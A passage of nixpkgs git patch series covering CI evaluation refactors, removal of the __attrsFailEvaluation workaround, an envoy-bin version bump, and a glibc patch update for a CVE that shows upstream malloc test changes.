+++ b/ci/eval/default.nix
@@ -64,8 +64,7 @@ let
             -I "$src" \
             --option restrict-eval true \
             --option allow-import-from-derivation false \
-            --option eval-system "${evalSystem}" \
-            --arg enableWarnings false > $out/paths.json
+            --option eval-system "${evalSystem}" > $out/paths.json
       '';
 
   singleSystem =
diff --git a/pkgs/top-level/all-packages.nix b/pkgs/top-level/all-packages.nix
index cbf0ac9def82..d4fc1e10126a 100644
--- a/pkgs/top-level/all-packages.nix
+++ b/pkgs/top-level/all-packages.nix
@@ -113,12 +113,10 @@ with pkgs;
 
   stringsWithDeps = lib.stringsWithDeps;
 
-  ### Evaluating the entire Nixpkgs naively will fail, make failure fast
+  ### Evaluating the entire Nixpkgs naively will likely fail, make failure fast
   AAAAAASomeThingsFailToEvaluate = throw ''
-    Please be informed that this pseudo-package is not the only part
-    of Nixpkgs that fails to evaluate. You should not evaluate
-    entire Nixpkgs without some special measures to handle failing
-    packages, like using pkgs/top-level/release-attrpaths-superset.nix.
+    This pseudo-package is likely not the only part of Nixpkgs that fails to evaluate.
+    You should not evaluate entire Nixpkgs without measures to handle failing packages.
   '';
 
   tests = callPackages ../test { };
diff --git a/pkgs/top-level/release-attrpaths-superset.nix b/pkgs/top-level/release-attrpaths-superset.nix
index eac3165a5bb7..4e3b8c11281d 100644
--- a/pkgs/top-level/release-attrpaths-superset.nix
+++ b/pkgs/top-level/release-attrpaths-superset.nix
@@ -24,7 +24,6 @@
 {
   lib ? import (path + "/lib"),
   trace ? false,
-  enableWarnings ? true,
   checkMeta ? true,
   path ? ./../..,
 }:
@@ -125,8 +124,10 @@ let
   justAttrNames =
     path: value:
     let
-      attempt =
-        if
+      result =
+        if path == [ "AAAAAASomeThingsFailToEvaluate" ] then
+          [ ]
+        else if
           lib.isDerivation value
           &&
             # in some places we have *derivations* with jobsets as subattributes, ugh
@@ -162,17 +163,6 @@ let
             builtins.attrValues
             builtins.concatLists
           ];
-
-      seq = builtins.deepSeq attempt attempt;
-      tried = builtins.tryEval seq;
-
-      result =
-        if tried.success then
-          tried.value
-        else if enableWarnings && path != [ "AAAAAASomeThingsFailToEvaluate" ] then
-          lib.warn "tryEval failed at: ${lib.concatStringsSep "." path}" [ ]
-        else
-          [ ];
     in
     if !trace then result else lib.trace "** ${lib.concatStringsSep "." path}" result;
 

From f724a024fefdf9c2098bf6a2626da5a237a98a5b Mon Sep 17 00:00:00 2001
From: jopejoe1 <jopejoe1@missing.ninja>
Date: Tue, 27 May 2025 22:11:14 +0200
Subject: [PATCH 2879/4511] release-attrpaths-superset.nix: remove attr set
 exclusion

The removal of these attrs became unnecessary after 72f462bdbafac035a1633fe064549089c6281ecd was merged, as these get now filtered out by `recursiveMapPackages` in `release.nix`

(cherry picked from commit 1d36c2a68046e0299086585b19c3925398c99fd4)
---
 pkgs/top-level/release-attrpaths-superset.nix | 88 ++-----------------
 1 file changed, 8 insertions(+), 80 deletions(-)

diff --git a/pkgs/top-level/release-attrpaths-superset.nix b/pkgs/top-level/release-attrpaths-superset.nix
index 4e3b8c11281d..894c795ff587 100644
--- a/pkgs/top-level/release-attrpaths-superset.nix
+++ b/pkgs/top-level/release-attrpaths-superset.nix
@@ -29,63 +29,6 @@
 }:
 let
 
-  # No release package attrpath may have any of these attrnames as
-  # its initial component.
-  #
-  # If you can find a way to remove any of these entries without
-  # causing CI to fail, please do so.
-  #
-  excluded-toplevel-attrs = {
-    # spliced packagesets
-    __splicedPackages = true;
-    pkgsBuildBuild = true;
-    pkgsBuildHost = true;
-    pkgsBuildTarget = true;
-    pkgsHostHost = true;
-    pkgsHostTarget = true;
-    pkgsTargetTarget = true;
-    buildPackages = true;
-    targetPackages = true;
-
-    # cross packagesets
-    pkgsLLVM = true;
-    pkgsMusl = true;
-    pkgsStatic = true;
-    pkgsCross = true;
-    pkgsx86_64Darwin = true;
-    pkgsi686Linux = true;
-    pkgsLinux = true;
-    pkgsExtraHardening = true;
-  };
-
-  # No release package attrname may have any of these at a component
-  # anywhere in its attrpath.  These are the names of gigantic
-  # top-level attrsets that have leaked into so many sub-packagesets
-  # that it's easier to simply exclude them entirely.
-  #
-  # If you can find a way to remove any of these entries without
-  # causing CI to fail, please do so.
-  #
-  excluded-attrnames-at-any-depth = {
-    lib = true;
-    override = true;
-    __functor = true;
-    __functionArgs = true;
-    __splicedPackages = true;
-    newScope = true;
-    scope = true;
-    pkgs = true;
-    test-pkgs = true;
-    callPackage = true;
-    mkDerivation = true;
-    overrideDerivation = true;
-    overrideScope = true;
-
-    # Special case: lib/types.nix leaks into a lot of nixos-related
-    # derivations, and does not eval deeply.
-    type = true;
-  };
-
   # __attrsFailEvaluation is a temporary workaround to get top-level
   # eval to succeed (under builtins.tryEval) for the entire
   # packageset, without deep invasve changes into individual
@@ -103,17 +46,11 @@ let
   # part of the (unfiltered) release jobset iff all of the following
   # are true:
   #
-  # 1. The first component of the attrpath is not in
-  #    `excluded-toplevel-attrs`
+  # 1. The attrpath leads to a value for which lib.isDerivation is true
   #
-  # 2. No attrname in the attrpath belongs to the list of forbidden
-  #    attrnames `excluded-attrnames-at-any-depth`
+  # 2. No proper prefix of the attrpath has __attrsFailEvaluation=true
   #
-  # 3. The attrpath leads to a value for which lib.isDerivation is true
-  #
-  # 4. No proper prefix of the attrpath has __attrsFailEvaluation=true
-  #
-  # 5. Any proper prefix of the attrpath at which lib.isDerivation
+  # 3. Any proper prefix of the attrpath at which lib.isDerivation
   #    is true also has __recurseIntoDerivationForReleaseJobs=true.
   #
   # The last condition is unfortunately necessary because there are
@@ -151,14 +88,9 @@ let
           lib.pipe value [
             (builtins.mapAttrs (
               name: value:
-              builtins.addErrorContext
-                "while evaluating package set attribute path '${lib.showAttrPath (path ++ [ name ])}'"
-                (
-                  if excluded-attrnames-at-any-depth.${name} or false then
-                    [ ]
-                  else
-                    (justAttrNames (path ++ [ name ]) value)
-                )
+              builtins.addErrorContext "while evaluating package set attribute path '${
+                lib.showAttrPath (path ++ [ name ])
+              }'" (justAttrNames (path ++ [ name ]) value)
             ))
             builtins.attrValues
             builtins.concatLists
@@ -166,16 +98,12 @@ let
     in
     if !trace then result else lib.trace "** ${lib.concatStringsSep "." path}" result;
 
-  unfiltered = import ./release-outpaths.nix {
+  releaseOutpaths = import ./release-outpaths.nix {
     inherit checkMeta;
     attrNamesOnly = true;
     inherit path;
   };
 
-  filtered = lib.pipe unfiltered [
-    (pkgs: builtins.removeAttrs pkgs (builtins.attrNames excluded-toplevel-attrs))
-  ];
-
   paths = [
     # I am not entirely sure why these three packages end up in
     # the Hydra jobset.  But they do, and they don't meet the
@@ -193,7 +121,7 @@ let
       "stdenv"
     ]
   ]
-  ++ justAttrNames [ ] filtered;
+  ++ justAttrNames [ ] releaseOutpaths;
 
   names = map (path: (lib.concatStringsSep "." path)) paths;
 

From 4801056ba254b45b226163038bc4f29af44ba9dd Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Wed, 23 Jul 2025 18:13:35 +0200
Subject: [PATCH 2880/4511] top-level/release-outpaths-parallel: rename from
 top-level/release-attrpaths-parallel

This file takes attrpaths as input and returns chunks of derivations,
aka a subset of release-outpaths - while release-attrpaths-superset
returns only an attrpath, not any derivations.

Thus, as a specialization of release-outpaths, the name
release-outpaths-parallel matches much better.

(cherry picked from commit 4ad7d21c88aab7269e7959dc56c2808c6fda0c09)
---
 ci/eval/default.nix                                             | 2 +-
 ...ase-attrpaths-parallel.nix => release-outpaths-parallel.nix} | 0
 2 files changed, 1 insertion(+), 1 deletion(-)
 rename pkgs/top-level/{release-attrpaths-parallel.nix => release-outpaths-parallel.nix} (100%)

diff --git a/ci/eval/default.nix b/ci/eval/default.nix
index 31bc6b01c327..56e07f8da670 100644
--- a/ci/eval/default.nix
+++ b/ci/eval/default.nix
@@ -98,7 +98,7 @@ let
         set +e
         command time -o "$outputDir/timestats/$myChunk" \
           -f "Chunk $myChunk on $system done [%MKB max resident, %Es elapsed] %C" \
-          nix-env -f "${nixpkgs}/pkgs/top-level/release-attrpaths-parallel.nix" \
+          nix-env -f "${nixpkgs}/pkgs/top-level/release-outpaths-parallel.nix" \
           --eval-system "$system" \
           --option restrict-eval true \
           --option allow-import-from-derivation false \
diff --git a/pkgs/top-level/release-attrpaths-parallel.nix b/pkgs/top-level/release-outpaths-parallel.nix
similarity index 100%
rename from pkgs/top-level/release-attrpaths-parallel.nix
rename to pkgs/top-level/release-outpaths-parallel.nix

From f0d40b14c0de924f50a70d4479efa4379ac57691 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Wed, 23 Jul 2025 19:19:06 +0200
Subject: [PATCH 2881/4511] top-level/release-attrpaths-superset: remove
 __attrsFailEvaluation

This doesn't seem to be necessary anymore. I confirmed by:
- Adding a lib.warn into the __attrsFailsEvaluation branch - never got
any.
- Removing it everywhere and running full Eval on it - no errors, no
rebuilds.

(cherry picked from commit 59233ecd0d0d701b7ee481e04457f2beae4ed03d)
---
 .../editors/jetbrains/default.nix             |  4 +---
 .../pidgin/pidgin-plugins/default.nix         |  7 +-----
 pkgs/desktops/gnome/extensions/default.nix    |  2 --
 pkgs/development/compilers/rust/default.nix   |  7 +-----
 pkgs/development/haskell-modules/default.nix  |  6 +----
 .../interpreters/lua-5/default.nix            | 11 +--------
 .../python/python-packages-base.nix           |  5 +---
 pkgs/os-specific/bsd/freebsd/package-set.nix  |  4 +---
 pkgs/top-level/all-packages.nix               | 15 ++++--------
 pkgs/top-level/beam-packages.nix              |  2 --
 pkgs/top-level/coq-packages.nix               |  1 -
 pkgs/top-level/cuda-packages.nix              |  1 -
 pkgs/top-level/perl-packages.nix              |  6 +----
 pkgs/top-level/release-attrpaths-superset.nix | 23 +++----------------
 14 files changed, 16 insertions(+), 78 deletions(-)

diff --git a/pkgs/applications/editors/jetbrains/default.nix b/pkgs/applications/editors/jetbrains/default.nix
index ef206f931371..2e960e9293c3 100644
--- a/pkgs/applications/editors/jetbrains/default.nix
+++ b/pkgs/applications/editors/jetbrains/default.nix
@@ -421,8 +421,6 @@ rec {
     ];
   };
 
-  plugins = callPackage ./plugins { } // {
-    __attrsFailEvaluation = true;
-  };
+  plugins = callPackage ./plugins { };
 
 }
diff --git a/pkgs/applications/networking/instant-messengers/pidgin/pidgin-plugins/default.nix b/pkgs/applications/networking/instant-messengers/pidgin/pidgin-plugins/default.nix
index 05a4272a053f..a2104beae1e3 100644
--- a/pkgs/applications/networking/instant-messengers/pidgin/pidgin-plugins/default.nix
+++ b/pkgs/applications/networking/instant-messengers/pidgin/pidgin-plugins/default.nix
@@ -18,12 +18,7 @@ lib.makeScope newScope (
       plugins = [ ];
     };
 
-    # Prevent `pkgs/top-level/release-attrpaths-superset.nix` from recursing here.
-    pidginPackages = self // {
-      pidginPackages = self.pidginPackages // {
-        __attrsFailEvaluation = true;
-      };
-    };
+    pidginPackages = self;
 
     pidgin-indicator = callPackage ./pidgin-indicator { };
 
diff --git a/pkgs/desktops/gnome/extensions/default.nix b/pkgs/desktops/gnome/extensions/default.nix
index db47ad5da68a..da2a8b5d4c95 100644
--- a/pkgs/desktops/gnome/extensions/default.nix
+++ b/pkgs/desktops/gnome/extensions/default.nix
@@ -39,7 +39,6 @@ let
     lib.trivial.pipe extensions [
       (map (extension: lib.nameValuePair extension.extensionUuid extension))
       builtins.listToAttrs
-      (attrs: attrs // { __attrsFailEvaluation = true; })
     ];
 
   # Map the list of extensions to an attrset based on the pname as key, which is more human readable than the UUID
@@ -80,7 +79,6 @@ rec {
 
   # Keep the last three versions in here
   gnomeExtensions = lib.trivial.pipe (gnome46Extensions // gnome47Extensions // gnome48Extensions) [
-    (v: builtins.removeAttrs v [ "__attrsFailEvaluation" ])
     # Apply some custom patches for automatically packaged extensions
     (callPackage ./extensionOverrides.nix { })
     # Add all manually packaged extensions
diff --git a/pkgs/development/compilers/rust/default.nix b/pkgs/development/compilers/rust/default.nix
index a0f195dece63..d933d3dedc18 100644
--- a/pkgs/development/compilers/rust/default.nix
+++ b/pkgs/development/compilers/rust/default.nix
@@ -89,12 +89,7 @@ in
       in
       {
         # Packages suitable for build-time, e.g. `build.rs`-type stuff.
-        buildRustPackages = (selectRustPackage pkgsBuildHost).packages.stable // {
-          # Prevent `pkgs/top-level/release-attrpaths-superset.nix` from recursing more than one level here.
-          buildRustPackages = self.buildRustPackages // {
-            __attrsFailEvaluation = true;
-          };
-        };
+        buildRustPackages = (selectRustPackage pkgsBuildHost).packages.stable;
         # Analogous to stdenv
         rustPlatform = makeRustPlatform self.buildRustPackages;
         rustc-unwrapped = self.callPackage ./rustc.nix ({
diff --git a/pkgs/development/haskell-modules/default.nix b/pkgs/development/haskell-modules/default.nix
index 8d34d6f4b2a8..b6936742d710 100644
--- a/pkgs/development/haskell-modules/default.nix
+++ b/pkgs/development/haskell-modules/default.nix
@@ -31,12 +31,8 @@ let
       ghc
       extensible-self
       all-cabal-hashes
+      buildHaskellPackages
       ;
-
-    # Prevent `pkgs/top-level/release-attrpaths-superset.nix` from recursing here.
-    buildHaskellPackages = buildHaskellPackages // {
-      __attrsFailEvaluation = true;
-    };
   };
 
   platformConfigurations =
diff --git a/pkgs/development/interpreters/lua-5/default.nix b/pkgs/development/interpreters/lua-5/default.nix
index b6562f4137b2..3e2a55d76c15 100644
--- a/pkgs/development/interpreters/lua-5/default.nix
+++ b/pkgs/development/interpreters/lua-5/default.nix
@@ -90,16 +90,7 @@ let
         inherit (luaPackages) requiredLuaModules;
       };
       withPackages = import ./with-packages.nix { inherit buildEnv luaPackages; };
-      pkgs =
-        let
-          lp = luaPackages;
-        in
-        lp
-        // {
-          luaPackages = lp.luaPackages // {
-            __attrsFailEvaluation = true;
-          };
-        };
+      pkgs = luaPackages;
       interpreter = "${self}/bin/${executable}";
       inherit executable luaversion;
       luaOnBuild = luaOnBuildForHost.override {
diff --git a/pkgs/development/interpreters/python/python-packages-base.nix b/pkgs/development/interpreters/python/python-packages-base.nix
index 66a7c823fecc..67600fe972f5 100644
--- a/pkgs/development/interpreters/python/python-packages-base.nix
+++ b/pkgs/development/interpreters/python/python-packages-base.nix
@@ -147,8 +147,5 @@ in
   python = toPythonModule python;
 
   # Don't take pythonPackages from "global" pkgs scope to avoid mixing python versions.
-  # Prevent `pkgs/top-level/release-attrpaths-superset.nix` from recursing more than one level here.
-  pythonPackages = self // {
-    __attrsFailEvaluation = true;
-  };
+  pythonPackages = self;
 }
diff --git a/pkgs/os-specific/bsd/freebsd/package-set.nix b/pkgs/os-specific/bsd/freebsd/package-set.nix
index 7b861be6bd62..2e551c827f8a 100644
--- a/pkgs/os-specific/bsd/freebsd/package-set.nix
+++ b/pkgs/os-specific/bsd/freebsd/package-set.nix
@@ -21,9 +21,7 @@ lib.packagesFromDirectoryRecursive {
   inherit sourceData patchesRoot versionData;
 
   # Keep the crawled portion of Nixpkgs finite.
-  buildFreebsd = lib.dontRecurseIntoAttrs buildFreebsd // {
-    __attrsFailEvaluation = true;
-  };
+  buildFreebsd = lib.dontRecurseIntoAttrs buildFreebsd;
 
   ports = fetchgit {
     url = "https://git.FreeBSD.org/ports.git";
diff --git a/pkgs/top-level/all-packages.nix b/pkgs/top-level/all-packages.nix
index d4fc1e10126a..84a9577c7a46 100644
--- a/pkgs/top-level/all-packages.nix
+++ b/pkgs/top-level/all-packages.nix
@@ -168,7 +168,6 @@ with pkgs;
         system = stdenv.hostPlatform.system;
         callTest = config: config.test.driver;
       };
-      __attrsFailEvaluation = true;
     };
 
   ### BUILD SUPPORT
@@ -10254,15 +10253,11 @@ with pkgs;
 
   rstudioServerWrapper = rstudioWrapper.override { rstudio = rstudio-server; };
 
-  rPackages =
-    (dontRecurseIntoAttrs (
-      callPackage ../development/r-modules {
-        overrides = (config.rPackageOverrides or (_: { })) pkgs;
-      }
-    ))
-    // {
-      __attrsFailEvaluation = true;
-    };
+  rPackages = dontRecurseIntoAttrs (
+    callPackage ../development/r-modules {
+      overrides = (config.rPackageOverrides or (_: { })) pkgs;
+    }
+  );
 
   ### SERVERS
 
diff --git a/pkgs/top-level/beam-packages.nix b/pkgs/top-level/beam-packages.nix
index 1ebab1f7c89f..ab468e8c9977 100644
--- a/pkgs/top-level/beam-packages.nix
+++ b/pkgs/top-level/beam-packages.nix
@@ -73,6 +73,4 @@ in
     erlang_27 = self.packagesWith self.interpreters.erlang_27;
     erlang_26 = self.packagesWith self.interpreters.erlang_26;
   };
-
-  __attrsFailEvaluation = true;
 }
diff --git a/pkgs/top-level/coq-packages.nix b/pkgs/top-level/coq-packages.nix
index f6392c70d39a..db3f4b752190 100644
--- a/pkgs/top-level/coq-packages.nix
+++ b/pkgs/top-level/coq-packages.nix
@@ -27,7 +27,6 @@ let
     {
       inherit coq lib;
       coqPackages = self // {
-        __attrsFailEvaluation = true;
         recurseForDerivations = false;
       };
 
diff --git a/pkgs/top-level/cuda-packages.nix b/pkgs/top-level/cuda-packages.nix
index 57444cbc3c6f..8db2f74d09f3 100644
--- a/pkgs/top-level/cuda-packages.nix
+++ b/pkgs/top-level/cuda-packages.nix
@@ -69,7 +69,6 @@ let
     else
       pkgs.extend (
         final: _: {
-          __attrsFailEvaluation = true;
           recurseForDerivations = false;
           # The CUDA package set will be available as cudaPackages_x_y, so we need only update the aliases for the
           # minor-versioned and unversioned package sets.
diff --git a/pkgs/top-level/perl-packages.nix b/pkgs/top-level/perl-packages.nix
index e2288c5109ac..baeb53203dc8 100644
--- a/pkgs/top-level/perl-packages.nix
+++ b/pkgs/top-level/perl-packages.nix
@@ -36,11 +36,7 @@ with self;
 {
 
   inherit perl;
-  perlPackages = self // {
-    perlPackages = self.perlPackages // {
-      __attrsFailEvaluation = true;
-    };
-  };
+  perlPackages = self;
 
   # Check whether a derivation provides a perl module.
   hasPerlModule = drv: drv ? perlModule;
diff --git a/pkgs/top-level/release-attrpaths-superset.nix b/pkgs/top-level/release-attrpaths-superset.nix
index 894c795ff587..80544ced5165 100644
--- a/pkgs/top-level/release-attrpaths-superset.nix
+++ b/pkgs/top-level/release-attrpaths-superset.nix
@@ -29,31 +29,16 @@
 }:
 let
 
-  # __attrsFailEvaluation is a temporary workaround to get top-level
-  # eval to succeed (under builtins.tryEval) for the entire
-  # packageset, without deep invasve changes into individual
-  # packages.
-  #
-  # Now that CI has been added, ensuring that top-level eval will
-  # not be broken by any new commits, you should not add any new
-  # occurrences of __attrsFailEvaluation, and should remove them
-  # wherever you are able to (doing so will likely require deep
-  # adjustments within packages).  Once all of the uses of
-  # __attrsFailEvaluation are removed, it will be deleted from the
-  # routine below.  In the meantime,
-  #
   # The intended semantics are that an attrpath rooted at pkgs is
-  # part of the (unfiltered) release jobset iff all of the following
+  # part of the (unfiltered) release jobset iff both of the following
   # are true:
   #
   # 1. The attrpath leads to a value for which lib.isDerivation is true
   #
-  # 2. No proper prefix of the attrpath has __attrsFailEvaluation=true
-  #
-  # 3. Any proper prefix of the attrpath at which lib.isDerivation
+  # 2. Any proper prefix of the attrpath at which lib.isDerivation
   #    is true also has __recurseIntoDerivationForReleaseJobs=true.
   #
-  # The last condition is unfortunately necessary because there are
+  # The second condition is unfortunately necessary because there are
   # Hydra release jobnames which have proper prefixes which are
   # attrnames of derivations (!).  We should probably restructure
   # the job tree so that this is not the case.
@@ -82,8 +67,6 @@ let
 
         else if !(lib.isAttrs value) then
           [ ]
-        else if (value.__attrsFailEvaluation or false) then
-          [ ]
         else
           lib.pipe value [
             (builtins.mapAttrs (

From 36f230ecb5b3b39026c947c387e89ce25d09b83c Mon Sep 17 00:00:00 2001
From: Tristan Ross <tristan.ross@midstall.com>
Date: Fri, 18 Jul 2025 13:57:29 -0700
Subject: [PATCH 2882/4511] pkgs/top-level/stage.nix: fix allowVariants with
 variants set

(cherry picked from commit 5d5599f720409725ff8025657d0bb406d7d38eb1)
---
 pkgs/top-level/stage.nix | 22 +++++++++++++---------
 1 file changed, 13 insertions(+), 9 deletions(-)

diff --git a/pkgs/top-level/stage.nix b/pkgs/top-level/stage.nix
index 623d76d8858e..61919c78e33b 100644
--- a/pkgs/top-level/stage.nix
+++ b/pkgs/top-level/stage.nix
@@ -191,15 +191,19 @@ let
 
   aliases = self: super: lib.optionalAttrs config.allowAliases (import ./aliases.nix lib self super);
 
-  variants = import ./variants.nix {
-    inherit
-      lib
-      nixpkgsFun
-      stdenv
-      overlays
-      makeMuslParsedPlatform
-      ;
-  };
+  variants =
+    self: super:
+    lib.optionalAttrs config.allowVariants (
+      import ./variants.nix {
+        inherit
+          lib
+          nixpkgsFun
+          stdenv
+          overlays
+          makeMuslParsedPlatform
+          ;
+      } self super
+    );
 
   # stdenvOverrides is used to avoid having multiple of versions
   # of certain dependencies that were used in bootstrapping the

From 0ced1de9e1e5a9f5ae7fee599263f24c1d0faf0f Mon Sep 17 00:00:00 2001
From: "Adam C. Stephens" <adam@valkor.net>
Date: Thu, 24 Jul 2025 16:38:52 -0400
Subject: [PATCH 2883/4511] envoy-bin: 1.34.3 -> 1.34.4

https://github.com/envoyproxy/envoy/releases/tag/v1.34.4
---
 pkgs/by-name/en/envoy-bin/package.nix | 6 +++---
 pkgs/by-name/en/envoy-bin/update.sh   | 2 +-
 2 files changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/en/envoy-bin/package.nix b/pkgs/by-name/en/envoy-bin/package.nix
index d4983b9b15f3..9f0a3d09a116 100644
--- a/pkgs/by-name/en/envoy-bin/package.nix
+++ b/pkgs/by-name/en/envoy-bin/package.nix
@@ -8,7 +8,7 @@
   versionCheckHook,
 }:
 let
-  version = "1.34.3";
+  version = "1.34.4";
   inherit (stdenv.hostPlatform) system;
   throwSystem = throw "envoy-bin is not available for ${system}.";
 
@@ -21,8 +21,8 @@ let
 
   hash =
     {
-      aarch64-linux = "sha256-LsNkrFJ59MUiKIF0Dcuq2Lhn3LnAW0Mwlx4kIx78KfQ=";
-      x86_64-linux = "sha256-04vGgR8U0qiNBvmiim0aKa6Ug2acR31F5H4biSWkrag=";
+      aarch64-linux = "sha256-Bh/y/4c+5WspnAb0hwT/4Pe+gU8pdtRmoMuHlg62Z4w=";
+      x86_64-linux = "sha256-QnSF9F7Wh27ELJehlikYc5v1lG/hWdiwsn8ZhAbaXg4=";
     }
     .${system} or throwSystem;
 in
diff --git a/pkgs/by-name/en/envoy-bin/update.sh b/pkgs/by-name/en/envoy-bin/update.sh
index df32827256aa..7934e1b367d4 100755
--- a/pkgs/by-name/en/envoy-bin/update.sh
+++ b/pkgs/by-name/en/envoy-bin/update.sh
@@ -21,7 +21,7 @@ replace_hash() {
     sed -i "s#$1 = \"sha256-.\{44\}\"#$1 = \"$2\"#" "$NIX_DRV"
 }
 
-VER=$(list-git-tags --url=https://github.com/envoyproxy/envoy | rg 'v[0-9\.]*$' | sed -e 's/^v//' | sort -V | tail -n 1)
+VER=$(list-git-tags --url=https://github.com/envoyproxy/envoy | rg 'v1\.34\.[0-9]*$' | sed -e 's/^v//' | sort -V | tail -n 1)
 
 LINUX_X64_HASH=$(fetch_arch "$VER" "x86_64")
 LINUX_AARCH64_HASH=$(fetch_arch "$VER" "aarch_64")

From d7024bf5034d474cfb5eaf446bbb1d42c266b674 Mon Sep 17 00:00:00 2001
From: Maximilian Bosch <maximilian@mbosch.me>
Date: Thu, 24 Jul 2025 16:17:55 +0200
Subject: [PATCH 2884/4511] glibc: 2.40-66 -> 2.40-142, fix CVE-2025-8058

See https://nvd.nist.gov/vuln/detail/CVE-2025-8058

Updating to the latest patch-level of the 2.40 branch to address this.

(cherry picked from commit 7c104c9ba338167903547cff25e5eb5d2d0fcd04)
---
 .../libraries/glibc/2.40-master.patch         | 17092 ++++++++++++++++
 pkgs/development/libraries/glibc/common.nix   |     2 +-
 2 files changed, 17093 insertions(+), 1 deletion(-)

diff --git a/pkgs/development/libraries/glibc/2.40-master.patch b/pkgs/development/libraries/glibc/2.40-master.patch
index c7885ead7b7f..3384de16dc3b 100644
--- a/pkgs/development/libraries/glibc/2.40-master.patch
+++ b/pkgs/development/libraries/glibc/2.40-master.patch
@@ -26216,3 +26216,17095 @@ index f9e3425e04..089c47b04b 100644
        struct abort_msg_s *buf = __mmap (NULL, total,
  					PROT_READ | PROT_WRITE,
  					MAP_ANON | MAP_PRIVATE, -1, 0);
+
+commit aef8f8d6a947b290162393e1d717c7aee96fef8e
+Author: H.J. Lu <hjl.tools@gmail.com>
+Date:   Tue Dec 17 18:41:45 2024 +0800
+
+    Hide all malloc functions from compiler [BZ #32366]
+    
+    Since -1 isn't a power of two, compiler may reject it, hide memalign from
+    Clang 19 which issues an error:
+    
+    tst-memalign.c:86:31: error: requested alignment is not a power of 2 [-Werror,-Wnon-power-of-two-alignment]
+       86 |   p = memalign (-1, pagesize);
+          |                 ^~
+    tst-memalign.c:86:31: error: requested alignment must be 4294967296 bytes or smaller; maximum alignment assumed [-Werror,-Wbuiltin-assume-aligned-alignment]
+       86 |   p = memalign (-1, pagesize);
+          |                 ^~
+    
+    Update tst-malloc-aux.h to hide all malloc functions and include it in
+    all malloc tests to prevent compiler from optimizing out any malloc
+    functions.
+    
+    Tested with Clang 19.1.5 and GCC 15 20241206 for BZ #32366.
+    
+    Signed-off-by: H.J. Lu <hjl.tools@gmail.com>
+    Reviewed-by: Sam James <sam@gentoo.org>
+    (cherry picked from commit f9493a15ea9cfb63a815c00c23142369ec09d8ce)
+
+diff --git a/malloc/tst-mallinfo2.c b/malloc/tst-mallinfo2.c
+index 2c02f5f700..f072b9f24b 100644
+--- a/malloc/tst-mallinfo2.c
++++ b/malloc/tst-mallinfo2.c
+@@ -23,6 +23,8 @@
+ #include <stdlib.h>
+ #include <support/check.h>
+ 
++#include "tst-malloc-aux.h"
++
+ /* This is not specifically needed for the test, but (1) does
+    something to the data so gcc doesn't optimize it away, and (2) may
+    help when developing future tests.  */
+diff --git a/malloc/tst-malloc-aux.h b/malloc/tst-malloc-aux.h
+index 54908b4a24..3e1b61ce34 100644
+--- a/malloc/tst-malloc-aux.h
++++ b/malloc/tst-malloc-aux.h
+@@ -22,20 +22,35 @@
+ 
+ #include <stddef.h>
+ #include <stdlib.h>
+-
+-static void *(*volatile aligned_alloc_indirect)(size_t, size_t) = aligned_alloc;
+-static void *(*volatile calloc_indirect)(size_t, size_t) = calloc;
+-static void *(*volatile malloc_indirect)(size_t) = malloc;
+-static void *(*volatile realloc_indirect)(void*, size_t) = realloc;
++#include <malloc.h>
++
++static __typeof (aligned_alloc) * volatile aligned_alloc_indirect
++  = aligned_alloc;
++static __typeof (calloc) * volatile calloc_indirect = calloc;
++static __typeof (malloc) * volatile malloc_indirect = malloc;
++static __typeof (memalign) * volatile memalign_indirect = memalign;
++static __typeof (posix_memalign) * volatile posix_memalign_indirect
++  = posix_memalign;
++static __typeof (pvalloc) * volatile pvalloc_indirect = pvalloc;
++static __typeof (realloc) * volatile realloc_indirect = realloc;
++static __typeof (valloc) * volatile valloc_indirect = valloc;
+ 
+ #undef aligned_alloc
+ #undef calloc
+ #undef malloc
++#undef memalign
++#undef posix_memalign
++#undef pvalloc
+ #undef realloc
++#undef valloc
+ 
+ #define aligned_alloc aligned_alloc_indirect
+ #define calloc calloc_indirect
+ #define malloc malloc_indirect
++#define memalign memalign_indirect
++#define posix_memalign posix_memalign_indirect
++#define pvalloc pvalloc_indirect
+ #define realloc realloc_indirect
++#define valloc valloc_indirect
+ 
+ #endif /* TST_MALLOC_AUX_H */
+diff --git a/malloc/tst-malloc-backtrace.c b/malloc/tst-malloc-backtrace.c
+index c7b1d65e5c..65fa91f6fd 100644
+--- a/malloc/tst-malloc-backtrace.c
++++ b/malloc/tst-malloc-backtrace.c
+@@ -22,6 +22,8 @@
+ #include <support/support.h>
+ #include <libc-diag.h>
+ 
++#include "tst-malloc-aux.h"
++
+ #define SIZE 4096
+ 
+ /* Wrap free with a function to prevent gcc from optimizing it out.  */
+diff --git a/malloc/tst-memalign.c b/malloc/tst-memalign.c
+index 563f6413d2..ac9770d3f9 100644
+--- a/malloc/tst-memalign.c
++++ b/malloc/tst-memalign.c
+@@ -23,6 +23,8 @@
+ #include <unistd.h>
+ #include <libc-diag.h>
+ 
++#include "tst-malloc-aux.h"
++
+ static int errors = 0;
+ 
+ static void
+diff --git a/malloc/tst-safe-linking.c b/malloc/tst-safe-linking.c
+index 01dd07004d..63a7e2bc8e 100644
+--- a/malloc/tst-safe-linking.c
++++ b/malloc/tst-safe-linking.c
+@@ -26,6 +26,8 @@
+ #include <support/capture_subprocess.h>
+ #include <support/check.h>
+ 
++#include "tst-malloc-aux.h"
++
+ /* Run CALLBACK and check that the data on standard error equals
+    EXPECTED.  */
+ static void
+diff --git a/malloc/tst-valloc.c b/malloc/tst-valloc.c
+index 9bab8c6470..0243d3dfd4 100644
+--- a/malloc/tst-valloc.c
++++ b/malloc/tst-valloc.c
+@@ -23,6 +23,8 @@
+ #include <unistd.h>
+ #include <libc-diag.h>
+ 
++#include "tst-malloc-aux.h"
++
+ static int errors = 0;
+ 
+ static void
+
+commit be48b8f6ad0ec6d0d6b1d2f45eb59bf8e8c67dd7
+Author: Sam James <sam@gentoo.org>
+Date:   Fri Jan 10 03:03:47 2025 +0000
+
+    malloc: obscure calloc use in tst-calloc
+    
+    Similar to a9944a52c967ce76a5894c30d0274b824df43c7a and
+    f9493a15ea9cfb63a815c00c23142369ec09d8ce, we need to hide calloc use from
+    the compiler to accommodate GCC's r15-6566-g804e9d55d9e54c change.
+    
+    First, include tst-malloc-aux.h, but then use `volatile` variables
+    for size.
+    
+    The test passes without the tst-malloc-aux.h change but IMO we want
+    it there for consistency and to avoid future problems (possibly silent).
+    
+    Reviewed-by: H.J. Lu <hjl.tools@gmail.com>
